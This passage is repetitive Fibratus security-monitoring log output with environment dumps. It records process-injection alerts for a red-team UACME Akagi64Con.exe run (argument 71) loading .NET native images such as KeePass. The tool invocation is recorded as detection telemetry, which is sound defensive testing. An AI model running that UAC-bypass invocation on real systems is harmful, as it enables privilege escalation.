Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\InteractiveHost64\de06d7edae2c0e0a9bf8a07625b96ccb\InteractiveHost64.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10967019 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8378464 +0100 CET + Params: base_address➜ 7ffcd6800000, checksum➜ 0, default_address➜ 7ffcd6800000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\InteractiveHost64\de06d7edae2c0e0a9bf8a07625b96ccb\InteractiveHost64.ni.exe, image_size➜ 40960, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\InteractiveHost64\de06d7edae2c0e0a9bf8a07625b96ccb\InteractiveHost64.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10967019 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8378464 +0100 CET + Params: base_address➜ 7ffcd6800000, checksum➜ 0, default_address➜ 7ffcd6800000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\InteractiveHost64\de06d7edae2c0e0a9bf8a07625b96ccb\InteractiveHost64.ni.exe, image_size➜ 40960, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, technique.name: Process Injection, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10967032 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8411586 +0100 CET + Params: base_address➜ 7ffc7aa00000, checksum➜ 0, default_address➜ 7ffc7aa00000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\KeePass\0aafcaf276ea671c8afa5622f8ced0be\KeePass.ni.exe, image_size➜ 11980800, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 